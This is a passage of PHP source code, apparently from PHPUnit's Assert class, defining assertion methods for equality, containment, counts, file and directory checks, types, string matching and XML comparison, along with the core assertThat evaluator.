$message = ''): void { $constraint = new TraversableContainsEqual($needle); static::assertThat($haystack, $constraint, $message); } /** * Asserts that a haystack does not contain a needle. * * @throws Exception * @throws ExpectationFailedException */ final public static function assertNotContains(mixed $needle, iterable $haystack, string $message = ''): void { $constraint = new LogicalNot( new TraversableContainsIdentical($needle), ); static::assertThat($haystack, $constraint, $message); } /** * @throws ExpectationFailedException */ final public static function assertNotContainsEquals(mixed $needle, iterable $haystack, string $message = ''): void { $constraint = new LogicalNot(new TraversableContainsEqual($needle)); static::assertThat($haystack, $constraint, $message); } /** * Asserts that a haystack contains only values of a given type. * * @throws Exception * @throws ExpectationFailedException */ final public static function assertContainsOnly(string $type, iterable $haystack, ?bool $isNativeType = null, string $message = ''): void { if ($isNativeType === null) { $isNativeType = self::isNativeType($type); } static::assertThat( $haystack, new TraversableContainsOnly( $type, $isNativeType, ), $message, ); } /** * Asserts that a haystack contains only instances of a given class name. * * @throws Exception * @throws ExpectationFailedException */ final public static function assertContainsOnlyInstancesOf(string $className, iterable $haystack, string $message = ''): void { static::assertThat( $haystack, new TraversableContainsOnly( $className, false, ), $message, ); } /** * Asserts that a haystack does not contain only values of a given type. * * @throws Exception * @throws ExpectationFailedException */ final public static function assertNotContainsOnly(string $type, iterable $haystack, ?bool $isNativeType = null, string $message = ''): void { if ($isNativeType === null) { $isNativeType = self::isNativeType($type); } static::assertThat( $haystack, new LogicalNot( new TraversableContainsOnly( $type, $isNativeType, ), ), $message, ); } /** * Asserts the number of elements of an array, Countable or Traversable. * * @throws Exception * @throws ExpectationFailedException * @throws GeneratorNotSupportedException */ final public static function assertCount(int $expectedCount, Countable|iterable $haystack, string $message = ''): void { if ($haystack instanceof Generator) { throw GeneratorNotSupportedException::fromParameterName('$haystack'); } static::assertThat( $haystack, new Count($expectedCount), $message, ); } /** * Asserts the number of elements of an array, Countable or Traversable. * * @throws Exception * @throws ExpectationFailedException * @throws GeneratorNotSupportedException */ final public static function assertNotCount(int $expectedCount, Countable|iterable $haystack, string $message = ''): void { if ($haystack instanceof Generator) { throw GeneratorNotSupportedException::fromParameterName('$haystack'); } $constraint = new LogicalNot( new Count($expectedCount), ); static::assertThat($haystack, $constraint, $message); } /** * Asserts that two variables are equal. * * @throws ExpectationFailedException */ final public static function assertEquals(mixed $expected, mixed $actual, string $message = ''): void { $constraint = new IsEqual($expected); static::assertThat($actual, $constraint, $message); } /** * Asserts that two variables are equal (canonicalizing). * * @throws ExpectationFailedException */ final public static function assertEqualsCanonicalizing(mixed $expected, mixed $actual, string $message = ''): void { $constraint = new IsEqualCanonicalizing($expected); static::assertThat($actual, $constraint, $message); } /** * Asserts that two variables are equal (ignoring case). * * @throws ExpectationFailedException */ final public static function assertEqualsIgnoringCase(mixed $expected, mixed $actual, string $message = ''): void { $constraint = new IsEqualIgnoringCase($expected); static::assertThat($actual, $constraint, $message); } /** * Asserts that two variables are equal (with delta). * * @throws ExpectationFailedException */ final public static function assertEqualsWithDelta(mixed $expected, mixed $actual, float $delta, string $message = ''): void { $constraint = new IsEqualWithDelta( $expected, $delta, ); static::assertThat($actual, $constraint, $message); } /** * Asserts that two variables are not equal. * * @throws ExpectationFailedException */ final public static function assertNotEquals(mixed $expected, mixed $actual, string $message = ''): void { $constraint = new LogicalNot( new IsEqual($expected), ); static::assertThat($actual, $constraint, $message); } /** * Asserts that two variables are not equal (canonicalizing). * * @throws ExpectationFailedException */ final public static function assertNotEqualsCanonicalizing(mixed $expected, mixed $actual, string $message = ''): void { $constraint = new LogicalNot( new IsEqualCanonicalizing($expected), ); static::assertThat($actual, $constraint, $message); } /** * Asserts that two variables are not equal (ignoring case). * * @throws ExpectationFailedException */ final public static function assertNotEqualsIgnoringCase(mixed $expected, mixed $actual, string $message = ''): void { $constraint = new LogicalNot( new IsEqualIgnoringCase($expected), ); static::assertThat($actual, $constraint, $message); } /** * Asserts that two variables are not equal (with delta). * * @throws ExpectationFailedException */ final public static function assertNotEqualsWithDelta(mixed $expected, mixed $actual, float $delta, string $message = ''): void { $constraint = new LogicalNot( new IsEqualWithDelta( $expected, $delta, ), ); static::assertThat($actual, $constraint, $message); } /** * @throws ExpectationFailedException */ final public static function assertObjectEquals(object $expected, object $actual, string $method = 'equals', string $message = ''): void { static::assertThat( $actual, static::objectEquals($expected, $method), $message, ); } /** * Asserts that a variable is empty. * * @throws ExpectationFailedException * @throws GeneratorNotSupportedException * * @psalm-assert empty $actual */ final public static function assertEmpty(mixed $actual, string $message = ''): void { if ($actual instanceof Generator) { throw GeneratorNotSupportedException::fromParameterName('$actual'); } static::assertThat($actual, static::isEmpty(), $message); } /** * Asserts that a variable is not empty. * * @throws ExpectationFailedException * @throws GeneratorNotSupportedException * * @psalm-assert !empty $actual */ final public static function assertNotEmpty(mixed $actual, string $message = ''): void { if ($actual instanceof Generator) { throw GeneratorNotSupportedException::fromParameterName('$actual'); } static::assertThat($actual, static::logicalNot(static::isEmpty()), $message); } /** * Asserts that a value is greater than another value. * * @throws ExpectationFailedException */ final public static function assertGreaterThan(mixed $expected, mixed $actual, string $message = ''): void { static::assertThat($actual, static::greaterThan($expected), $message); } /** * Asserts that a value is greater than or equal to another value. * * @throws ExpectationFailedException */ final public static function assertGreaterThanOrEqual(mixed $expected, mixed $actual, string $message = ''): void { static::assertThat( $actual, static::greaterThanOrEqual($expected), $message, ); } /** * Asserts that a value is smaller than another value. * * @throws ExpectationFailedException */ final public static function assertLessThan(mixed $expected, mixed $actual, string $message = ''): void { static::assertThat($actual, static::lessThan($expected), $message); } /** * Asserts that a value is smaller than or equal to another value. * * @throws ExpectationFailedException */ final public static function assertLessThanOrEqual(mixed $expected, mixed $actual, string $message = ''): void { static::assertThat($actual, static::lessThanOrEqual($expected), $message); } /** * Asserts that the contents of one file is equal to the contents of another * file. * * @throws ExpectationFailedException */ final public static function assertFileEquals(string $expected, string $actual, string $message = ''): void { static::assertFileExists($expected, $message); static::assertFileExists($actual, $message); $constraint = new IsEqual(file_get_contents($expected)); static::assertThat(file_get_contents($actual), $constraint, $message); } /** * Asserts that the contents of one file is equal to the contents of another * file (canonicalizing). * * @throws ExpectationFailedException */ final public static function assertFileEqualsCanonicalizing(string $expected, string $actual, string $message = ''): void { static::assertFileExists($expected, $message); static::assertFileExists($actual, $message); $constraint = new IsEqualCanonicalizing( file_get_contents($expected), ); static::assertThat(file_get_contents($actual), $constraint, $message); } /** * Asserts that the contents of one file is equal to the contents of another * file (ignoring case). * * @throws ExpectationFailedException */ final public static function assertFileEqualsIgnoringCase(string $expected, string $actual, string $message = ''): void { static::assertFileExists($expected, $message); static::assertFileExists($actual, $message); $constraint = new IsEqualIgnoringCase(file_get_contents($expected)); static::assertThat(file_get_contents($actual), $constraint, $message); } /** * Asserts that the contents of one file is not equal to the contents of * another file. * * @throws ExpectationFailedException */ final public static function assertFileNotEquals(string $expected, string $actual, string $message = ''): void { static::assertFileExists($expected, $message); static::assertFileExists($actual, $message); $constraint = new LogicalNot( new IsEqual(file_get_contents($expected)), ); static::assertThat(file_get_contents($actual), $constraint, $message); } /** * Asserts that the contents of one file is not equal to the contents of another * file (canonicalizing). * * @throws ExpectationFailedException */ final public static function assertFileNotEqualsCanonicalizing(string $expected, string $actual, string $message = ''): void { static::assertFileExists($expected, $message); static::assertFileExists($actual, $message); $constraint = new LogicalNot( new IsEqualCanonicalizing(file_get_contents($expected)), ); static::assertThat(file_get_contents($actual), $constraint, $message); } /** * Asserts that the contents of one file is not equal to the contents of another * file (ignoring case). * * @throws ExpectationFailedException */ final public static function assertFileNotEqualsIgnoringCase(string $expected, string $actual, string $message = ''): void { static::assertFileExists($expected, $message); static::assertFileExists($actual, $message); $constraint = new LogicalNot( new IsEqualIgnoringCase(file_get_contents($expected)), ); static::assertThat(file_get_contents($actual), $constraint, $message); } /** * Asserts that the contents of a string is equal * to the contents of a file. * * @throws ExpectationFailedException */ final public static function assertStringEqualsFile(string $expectedFile, string $actualString, string $message = ''): void { static::assertFileExists($expectedFile, $message); $constraint = new IsEqual(file_get_contents($expectedFile)); static::assertThat($actualString, $constraint, $message); } /** * Asserts that the contents of a string is equal * to the contents of a file (canonicalizing). * * @throws ExpectationFailedException */ final public static function assertStringEqualsFileCanonicalizing(string $expectedFile, string $actualString, string $message = ''): void { static::assertFileExists($expectedFile, $message); $constraint = new IsEqualCanonicalizing(file_get_contents($expectedFile)); static::assertThat($actualString, $constraint, $message); } /** * Asserts that the contents of a string is equal * to the contents of a file (ignoring case). * * @throws ExpectationFailedException */ final public static function assertStringEqualsFileIgnoringCase(string $expectedFile, string $actualString, string $message = ''): void { static::assertFileExists($expectedFile, $message); $constraint = new IsEqualIgnoringCase(file_get_contents($expectedFile)); static::assertThat($actualString, $constraint, $message); } /** * Asserts that the contents of a string is not equal * to the contents of a file. * * @throws ExpectationFailedException */ final public static function assertStringNotEqualsFile(string $expectedFile, string $actualString, string $message = ''): void { static::assertFileExists($expectedFile, $message); $constraint = new LogicalNot( new IsEqual(file_get_contents($expectedFile)), ); static::assertThat($actualString, $constraint, $message); } /** * Asserts that the contents of a string is not equal * to the contents of a file (canonicalizing). * * @throws ExpectationFailedException */ final public static function assertStringNotEqualsFileCanonicalizing(string $expectedFile, string $actualString, string $message = ''): void { static::assertFileExists($expectedFile, $message); $constraint = new LogicalNot( new IsEqualCanonicalizing(file_get_contents($expectedFile)), ); static::assertThat($actualString, $constraint, $message); } /** * Asserts that the contents of a string is not equal * to the contents of a file (ignoring case). * * @throws ExpectationFailedException */ final public static function assertStringNotEqualsFileIgnoringCase(string $expectedFile, string $actualString, string $message = ''): void { static::assertFileExists($expectedFile, $message); $constraint = new LogicalNot( new IsEqualIgnoringCase(file_get_contents($expectedFile)), ); static::assertThat($actualString, $constraint, $message); } /** * Asserts that a file/dir is readable. * * @throws ExpectationFailedException */ final public static function assertIsReadable(string $filename, string $message = ''): void { static::assertThat($filename, new IsReadable, $message); } /** * Asserts that a file/dir exists and is not readable. * * @throws ExpectationFailedException */ final public static function assertIsNotReadable(string $filename, string $message = ''): void { static::assertThat($filename, new LogicalNot(new IsReadable), $message); } /** * Asserts that a file/dir exists and is writable. * * @throws ExpectationFailedException */ final public static function assertIsWritable(string $filename, string $message = ''): void { static::assertThat($filename, new IsWritable, $message); } /** * Asserts that a file/dir exists and is not writable. * * @throws ExpectationFailedException */ final public static function assertIsNotWritable(string $filename, string $message = ''): void { static::assertThat($filename, new LogicalNot(new IsWritable), $message); } /** * Asserts that a directory exists. * * @throws ExpectationFailedException */ final public static function assertDirectoryExists(string $directory, string $message = ''): void { static::assertThat($directory, new DirectoryExists, $message); } /** * Asserts that a directory does not exist. * * @throws ExpectationFailedException */ final public static function assertDirectoryDoesNotExist(string $directory, string $message = ''): void { static::assertThat($directory, new LogicalNot(new DirectoryExists), $message); } /** * Asserts that a directory exists and is readable. * * @throws ExpectationFailedException */ final public static function assertDirectoryIsReadable(string $directory, string $message = ''): void { self::assertDirectoryExists($directory, $message); self::assertIsReadable($directory, $message); } /** * Asserts that a directory exists and is not readable. * * @throws ExpectationFailedException */ final public static function assertDirectoryIsNotReadable(string $directory, string $message = ''): void { self::assertDirectoryExists($directory, $message); self::assertIsNotReadable($directory, $message); } /** * Asserts that a directory exists and is writable. * * @throws ExpectationFailedException */ final public static function assertDirectoryIsWritable(string $directory, string $message = ''): void { self::assertDirectoryExists($directory, $message); self::assertIsWritable($directory, $message); } /** * Asserts that a directory exists and is not writable. * * @throws ExpectationFailedException */ final public static function assertDirectoryIsNotWritable(string $directory, string $message = ''): void { self::assertDirectoryExists($directory, $message); self::assertIsNotWritable($directory, $message); } /** * Asserts that a file exists. * * @throws ExpectationFailedException */ final public static function assertFileExists(string $filename, string $message = ''): void { static::assertThat($filename, new FileExists, $message); } /** * Asserts that a file does not exist. * * @throws ExpectationFailedException */ final public static function assertFileDoesNotExist(string $filename, string $message = ''): void { static::assertThat($filename, new LogicalNot(new FileExists), $message); } /** * Asserts that a file exists and is readable. * * @throws ExpectationFailedException */ final public static function assertFileIsReadable(string $file, string $message = ''): void { self::assertFileExists($file, $message); self::assertIsReadable($file, $message); } /** * Asserts that a file exists and is not readable. * * @throws ExpectationFailedException */ final public static function assertFileIsNotReadable(string $file, string $message = ''): void { self::assertFileExists($file, $message); self::assertIsNotReadable($file, $message); } /** * Asserts that a file exists and is writable. * * @throws ExpectationFailedException */ final public static function assertFileIsWritable(string $file, string $message = ''): void { self::assertFileExists($file, $message); self::assertIsWritable($file, $message); } /** * Asserts that a file exists and is not writable. * * @throws ExpectationFailedException */ final public static function assertFileIsNotWritable(string $file, string $message = ''): void { self::assertFileExists($file, $message); self::assertIsNotWritable($file, $message); } /** * Asserts that a condition is true. * * @throws ExpectationFailedException * * @psalm-assert true $condition */ final public static function assertTrue(mixed $condition, string $message = ''): void { static::assertThat($condition, static::isTrue(), $message); } /** * Asserts that a condition is not true. * * @throws ExpectationFailedException * * @psalm-assert !true $condition */ final public static function assertNotTrue(mixed $condition, string $message = ''): void { static::assertThat($condition, static::logicalNot(static::isTrue()), $message); } /** * Asserts that a condition is false. * * @throws ExpectationFailedException * * @psalm-assert false $condition */ final public static function assertFalse(mixed $condition, string $message = ''): void { static::assertThat($condition, static::isFalse(), $message); } /** * Asserts that a condition is not false. * * @throws ExpectationFailedException * * @psalm-assert !false $condition */ final public static function assertNotFalse(mixed $condition, string $message = ''): void { static::assertThat($condition, static::logicalNot(static::isFalse()), $message); } /** * Asserts that a variable is null. * * @throws ExpectationFailedException * * @psalm-assert null $actual */ final public static function assertNull(mixed $actual, string $message = ''): void { static::assertThat($actual, static::isNull(), $message); } /** * Asserts that a variable is not null. * * @throws ExpectationFailedException * * @psalm-assert !null $actual */ final public static function assertNotNull(mixed $actual, string $message = ''): void { static::assertThat($actual, static::logicalNot(static::isNull()), $message); } /** * Asserts that a variable is finite. * * @throws ExpectationFailedException */ final public static function assertFinite(mixed $actual, string $message = ''): void { static::assertThat($actual, static::isFinite(), $message); } /** * Asserts that a variable is infinite. * * @throws ExpectationFailedException */ final public static function assertInfinite(mixed $actual, string $message = ''): void { static::assertThat($actual, static::isInfinite(), $message); } /** * Asserts that a variable is nan. * * @throws ExpectationFailedException */ final public static function assertNan(mixed $actual, string $message = ''): void { static::assertThat($actual, static::isNan(), $message); } /** * Asserts that an object has a specified property. * * @throws ExpectationFailedException */ final public static function assertObjectHasProperty(string $propertyName, object $object, string $message = ''): void { static::assertThat( $object, new ObjectHasProperty($propertyName), $message, ); } /** * Asserts that an object does not have a specified property. * * @throws ExpectationFailedException */ final public static function assertObjectNotHasProperty(string $propertyName, object $object, string $message = ''): void { static::assertThat( $object, new LogicalNot( new ObjectHasProperty($propertyName), ), $message, ); } /** * Asserts that two variables have the same type and value. * Used on objects, it asserts that two variables reference * the same object. * * @psalm-template ExpectedType * * @psalm-param ExpectedType $expected * * @throws ExpectationFailedException * * @psalm-assert =ExpectedType $actual */ final public static function assertSame(mixed $expected, mixed $actual, string $message = ''): void { static::assertThat( $actual, new IsIdentical($expected), $message, ); } /** * Asserts that two variables do not have the same type and value. * Used on objects, it asserts that two variables do not reference * the same object. * * @throws ExpectationFailedException */ final public static function assertNotSame(mixed $expected, mixed $actual, string $message = ''): void { if (is_bool($expected) && is_bool($actual)) { static::assertNotEquals($expected, $actual, $message); } static::assertThat( $actual, new LogicalNot( new IsIdentical($expected), ), $message, ); } /** * Asserts that a variable is of a given type. * * @psalm-template ExpectedType of object * * @psalm-param class-string $expected * * @throws Exception * @throws ExpectationFailedException * @throws UnknownClassOrInterfaceException * * @psalm-assert =ExpectedType $actual */ final public static function assertInstanceOf(string $expected, mixed $actual, string $message = ''): void { if (!class_exists($expected) && !interface_exists($expected)) { throw new UnknownClassOrInterfaceException($expected); } static::assertThat( $actual, new IsInstanceOf($expected), $message, ); } /** * Asserts that a variable is not of a given type. * * @psalm-template ExpectedType of object * * @psalm-param class-string $expected * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert !ExpectedType $actual */ final public static function assertNotInstanceOf(string $expected, mixed $actual, string $message = ''): void { if (!class_exists($expected) && !interface_exists($expected)) { throw new UnknownClassOrInterfaceException($expected); } static::assertThat( $actual, new LogicalNot( new IsInstanceOf($expected), ), $message, ); } /** * Asserts that a variable is of type array. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert array $actual */ final public static function assertIsArray(mixed $actual, string $message = ''): void { static::assertThat( $actual, new IsType(IsType::TYPE_ARRAY), $message, ); } /** * Asserts that a variable is of type bool. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert bool $actual */ final public static function assertIsBool(mixed $actual, string $message = ''): void { static::assertThat( $actual, new IsType(IsType::TYPE_BOOL), $message, ); } /** * Asserts that a variable is of type float. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert float $actual */ final public static function assertIsFloat(mixed $actual, string $message = ''): void { static::assertThat( $actual, new IsType(IsType::TYPE_FLOAT), $message, ); } /** * Asserts that a variable is of type int. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert int $actual */ final public static function assertIsInt(mixed $actual, string $message = ''): void { static::assertThat( $actual, new IsType(IsType::TYPE_INT), $message, ); } /** * Asserts that a variable is of type numeric. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert numeric $actual */ final public static function assertIsNumeric(mixed $actual, string $message = ''): void { static::assertThat( $actual, new IsType(IsType::TYPE_NUMERIC), $message, ); } /** * Asserts that a variable is of type object. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert object $actual */ final public static function assertIsObject(mixed $actual, string $message = ''): void { static::assertThat( $actual, new IsType(IsType::TYPE_OBJECT), $message, ); } /** * Asserts that a variable is of type resource. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert resource $actual */ final public static function assertIsResource(mixed $actual, string $message = ''): void { static::assertThat( $actual, new IsType(IsType::TYPE_RESOURCE), $message, ); } /** * Asserts that a variable is of type resource and is closed. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert resource $actual */ final public static function assertIsClosedResource(mixed $actual, string $message = ''): void { static::assertThat( $actual, new IsType(IsType::TYPE_CLOSED_RESOURCE), $message, ); } /** * Asserts that a variable is of type string. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert string $actual */ final public static function assertIsString(mixed $actual, string $message = ''): void { static::assertThat( $actual, new IsType(IsType::TYPE_STRING), $message, ); } /** * Asserts that a variable is of type scalar. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert scalar $actual */ final public static function assertIsScalar(mixed $actual, string $message = ''): void { static::assertThat( $actual, new IsType(IsType::TYPE_SCALAR), $message, ); } /** * Asserts that a variable is of type callable. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert callable $actual */ final public static function assertIsCallable(mixed $actual, string $message = ''): void { static::assertThat( $actual, new IsType(IsType::TYPE_CALLABLE), $message, ); } /** * Asserts that a variable is of type iterable. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert iterable $actual */ final public static function assertIsIterable(mixed $actual, string $message = ''): void { static::assertThat( $actual, new IsType(IsType::TYPE_ITERABLE), $message, ); } /** * Asserts that a variable is not of type array. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert !array $actual */ final public static function assertIsNotArray(mixed $actual, string $message = ''): void { static::assertThat( $actual, new LogicalNot(new IsType(IsType::TYPE_ARRAY)), $message, ); } /** * Asserts that a variable is not of type bool. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert !bool $actual */ final public static function assertIsNotBool(mixed $actual, string $message = ''): void { static::assertThat( $actual, new LogicalNot(new IsType(IsType::TYPE_BOOL)), $message, ); } /** * Asserts that a variable is not of type float. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert !float $actual */ final public static function assertIsNotFloat(mixed $actual, string $message = ''): void { static::assertThat( $actual, new LogicalNot(new IsType(IsType::TYPE_FLOAT)), $message, ); } /** * Asserts that a variable is not of type int. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert !int $actual */ final public static function assertIsNotInt(mixed $actual, string $message = ''): void { static::assertThat( $actual, new LogicalNot(new IsType(IsType::TYPE_INT)), $message, ); } /** * Asserts that a variable is not of type numeric. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert !numeric $actual */ final public static function assertIsNotNumeric(mixed $actual, string $message = ''): void { static::assertThat( $actual, new LogicalNot(new IsType(IsType::TYPE_NUMERIC)), $message, ); } /** * Asserts that a variable is not of type object. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert !object $actual */ final public static function assertIsNotObject(mixed $actual, string $message = ''): void { static::assertThat( $actual, new LogicalNot(new IsType(IsType::TYPE_OBJECT)), $message, ); } /** * Asserts that a variable is not of type resource. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert !resource $actual */ final public static function assertIsNotResource(mixed $actual, string $message = ''): void { static::assertThat( $actual, new LogicalNot(new IsType(IsType::TYPE_RESOURCE)), $message, ); } /** * Asserts that a variable is not of type resource. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert !resource $actual */ final public static function assertIsNotClosedResource(mixed $actual, string $message = ''): void { static::assertThat( $actual, new LogicalNot(new IsType(IsType::TYPE_CLOSED_RESOURCE)), $message, ); } /** * Asserts that a variable is not of type string. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert !string $actual */ final public static function assertIsNotString(mixed $actual, string $message = ''): void { static::assertThat( $actual, new LogicalNot(new IsType(IsType::TYPE_STRING)), $message, ); } /** * Asserts that a variable is not of type scalar. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert !scalar $actual */ final public static function assertIsNotScalar(mixed $actual, string $message = ''): void { static::assertThat( $actual, new LogicalNot(new IsType(IsType::TYPE_SCALAR)), $message, ); } /** * Asserts that a variable is not of type callable. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert !callable $actual */ final public static function assertIsNotCallable(mixed $actual, string $message = ''): void { static::assertThat( $actual, new LogicalNot(new IsType(IsType::TYPE_CALLABLE)), $message, ); } /** * Asserts that a variable is not of type iterable. * * @throws Exception * @throws ExpectationFailedException * * @psalm-assert !iterable $actual */ final public static function assertIsNotIterable(mixed $actual, string $message = ''): void { static::assertThat( $actual, new LogicalNot(new IsType(IsType::TYPE_ITERABLE)), $message, ); } /** * Asserts that a string matches a given regular expression. * * @throws ExpectationFailedException */ final public static function assertMatchesRegularExpression(string $pattern, string $string, string $message = ''): void { static::assertThat($string, new RegularExpression($pattern), $message); } /** * Asserts that a string does not match a given regular expression. * * @throws ExpectationFailedException */ final public static function assertDoesNotMatchRegularExpression(string $pattern, string $string, string $message = ''): void { static::assertThat( $string, new LogicalNot( new RegularExpression($pattern), ), $message, ); } /** * Assert that the size of two arrays (or `Countable` or `Traversable` objects) * is the same. * * @throws Exception * @throws ExpectationFailedException * @throws GeneratorNotSupportedException */ final public static function assertSameSize(Countable|iterable $expected, Countable|iterable $actual, string $message = ''): void { if ($expected instanceof Generator) { throw GeneratorNotSupportedException::fromParameterName('$expected'); } if ($actual instanceof Generator) { throw GeneratorNotSupportedException::fromParameterName('$actual'); } static::assertThat( $actual, new SameSize($expected), $message, ); } /** * Assert that the size of two arrays (or `Countable` or `Traversable` objects) * is not the same. * * @throws Exception * @throws ExpectationFailedException * @throws GeneratorNotSupportedException */ final public static function assertNotSameSize(Countable|iterable $expected, Countable|iterable $actual, string $message = ''): void { if ($expected instanceof Generator) { throw GeneratorNotSupportedException::fromParameterName('$expected'); } if ($actual instanceof Generator) { throw GeneratorNotSupportedException::fromParameterName('$actual'); } static::assertThat( $actual, new LogicalNot( new SameSize($expected), ), $message, ); } /** * @throws ExpectationFailedException */ final public static function assertStringContainsStringIgnoringLineEndings(string $needle, string $haystack, string $message = ''): void { static::assertThat($haystack, new StringContains($needle, false, true), $message); } /** * Asserts that two strings are equal except for line endings. * * @throws ExpectationFailedException */ final public static function assertStringEqualsStringIgnoringLineEndings(string $expected, string $actual, string $message = ''): void { static::assertThat($actual, new StringEqualsStringIgnoringLineEndings($expected), $message); } /** * Asserts that a string matches a given format string. * * @throws ExpectationFailedException */ final public static function assertFileMatchesFormat(string $format, string $actualFile, string $message = ''): void { static::assertFileExists($actualFile, $message); static::assertThat( file_get_contents($actualFile), new StringMatchesFormatDescription($format), $message, ); } /** * Asserts that a string matches a given format string. * * @throws ExpectationFailedException */ final public static function assertFileMatchesFormatFile(string $formatFile, string $actualFile, string $message = ''): void { static::assertFileExists($formatFile, $message); static::assertFileExists($actualFile, $message); static::assertThat( file_get_contents($actualFile), new StringMatchesFormatDescription(file_get_contents($formatFile)), $message, ); } /** * Asserts that a string matches a given format string. * * @throws ExpectationFailedException */ final public static function assertStringMatchesFormat(string $format, string $string, string $message = ''): void { static::assertThat($string, new StringMatchesFormatDescription($format), $message); } /** * Asserts that a string does not match a given format string. * * @throws ExpectationFailedException * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5472 */ final public static function assertStringNotMatchesFormat(string $format, string $string, string $message = ''): void { static::assertThat( $string, new LogicalNot( new StringMatchesFormatDescription($format), ), $message, ); } /** * Asserts that a string matches a given format file. * * @throws ExpectationFailedException */ final public static function assertStringMatchesFormatFile(string $formatFile, string $string, string $message = ''): void { static::assertFileExists($formatFile, $message); static::assertThat( $string, new StringMatchesFormatDescription( file_get_contents($formatFile), ), $message, ); } /** * Asserts that a string does not match a given format string. * * @throws ExpectationFailedException * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5472 */ final public static function assertStringNotMatchesFormatFile(string $formatFile, string $string, string $message = ''): void { static::assertFileExists($formatFile, $message); static::assertThat( $string, new LogicalNot( new StringMatchesFormatDescription( file_get_contents($formatFile), ), ), $message, ); } /** * Asserts that a string starts with a given prefix. * * @psalm-param non-empty-string $prefix * * @throws ExpectationFailedException * @throws InvalidArgumentException */ final public static function assertStringStartsWith(string $prefix, string $string, string $message = ''): void { static::assertThat($string, new StringStartsWith($prefix), $message); } /** * Asserts that a string starts not with a given prefix. * * @psalm-param non-empty-string $prefix * * @throws ExpectationFailedException * @throws InvalidArgumentException */ final public static function assertStringStartsNotWith(string $prefix, string $string, string $message = ''): void { static::assertThat( $string, new LogicalNot( new StringStartsWith($prefix), ), $message, ); } /** * @throws ExpectationFailedException */ final public static function assertStringContainsString(string $needle, string $haystack, string $message = ''): void { $constraint = new StringContains($needle); static::assertThat($haystack, $constraint, $message); } /** * @throws ExpectationFailedException */ final public static function assertStringContainsStringIgnoringCase(string $needle, string $haystack, string $message = ''): void { $constraint = new StringContains($needle, true); static::assertThat($haystack, $constraint, $message); } /** * @throws ExpectationFailedException */ final public static function assertStringNotContainsString(string $needle, string $haystack, string $message = ''): void { $constraint = new LogicalNot(new StringContains($needle)); static::assertThat($haystack, $constraint, $message); } /** * @throws ExpectationFailedException */ final public static function assertStringNotContainsStringIgnoringCase(string $needle, string $haystack, string $message = ''): void { $constraint = new LogicalNot(new StringContains($needle, true)); static::assertThat($haystack, $constraint, $message); } /** * Asserts that a string ends with a given suffix. * * @psalm-param non-empty-string $suffix * * @throws ExpectationFailedException * @throws InvalidArgumentException */ final public static function assertStringEndsWith(string $suffix, string $string, string $message = ''): void { static::assertThat($string, new StringEndsWith($suffix), $message); } /** * Asserts that a string ends not with a given suffix. * * @psalm-param non-empty-string $suffix * * @throws ExpectationFailedException * @throws InvalidArgumentException */ final public static function assertStringEndsNotWith(string $suffix, string $string, string $message = ''): void { static::assertThat( $string, new LogicalNot( new StringEndsWith($suffix), ), $message, ); } /** * Asserts that two XML files are equal. * * @throws Exception * @throws ExpectationFailedException * @throws XmlException */ final public static function assertXmlFileEqualsXmlFile(string $expectedFile, string $actualFile, string $message = ''): void { $expected = (new XmlLoader)->loadFile($expectedFile); $actual = (new XmlLoader)->loadFile($actualFile); static::assertEquals($expected, $actual, $message); } /** * Asserts that two XML files are not equal. * * @throws \PHPUnit\Util\Exception * @throws ExpectationFailedException */ final public static function assertXmlFileNotEqualsXmlFile(string $expectedFile, string $actualFile, string $message = ''): void { $expected = (new XmlLoader)->loadFile($expectedFile); $actual = (new XmlLoader)->loadFile($actualFile); static::assertNotEquals($expected, $actual, $message); } /** * Asserts that two XML documents are equal. * * @throws ExpectationFailedException * @throws XmlException */ final public static function assertXmlStringEqualsXmlFile(string $expectedFile, string $actualXml, string $message = ''): void { $expected = (new XmlLoader)->loadFile($expectedFile); $actual = (new XmlLoader)->load($actualXml); static::assertEquals($expected, $actual, $message); } /** * Asserts that two XML documents are not equal. * * @throws ExpectationFailedException * @throws XmlException */ final public static function assertXmlStringNotEqualsXmlFile(string $expectedFile, string $actualXml, string $message = ''): void { $expected = (new XmlLoader)->loadFile($expectedFile); $actual = (new XmlLoader)->load($actualXml); static::assertNotEquals($expected, $actual, $message); } /** * Asserts that two XML documents are equal. * * @throws ExpectationFailedException * @throws XmlException */ final public static function assertXmlStringEqualsXmlString(string $expectedXml, string $actualXml, string $message = ''): void { $expected = (new XmlLoader)->load($expectedXml); $actual = (new XmlLoader)->load($actualXml); static::assertEquals($expected, $actual, $message); } /** * Asserts that two XML documents are not equal. * * @throws ExpectationFailedException * @throws XmlException */ final public static function assertXmlStringNotEqualsXmlString(string $expectedXml, string $actualXml, string $message = ''): void { $expected = (new XmlLoader)->load($expectedXml); $actual = (new XmlLoader)->load($actualXml); static::assertNotEquals($expected, $actual, $message); } /** * Evaluates a PHPUnit\Framework\Constraint matcher object. * * @throws ExpectationFailedException */ final public static function assertThat(mixed $value, Constraint $constraint, string $message = ''): void { self::$count += count($constraint); $hasFailed = true; try { $constraint->evaluate($value, $message); $hasFailed = false; } finally { if ($hasFailed) { Event\Facade::emitter()->testAssertionFailed( $value, $constraint, $message, ); } else { Event\Facade::emitter()->testAssertionSucceeded( $value, $constraint, $message, ); } } } /** * Asserts that a string is a valid JSON string. * * 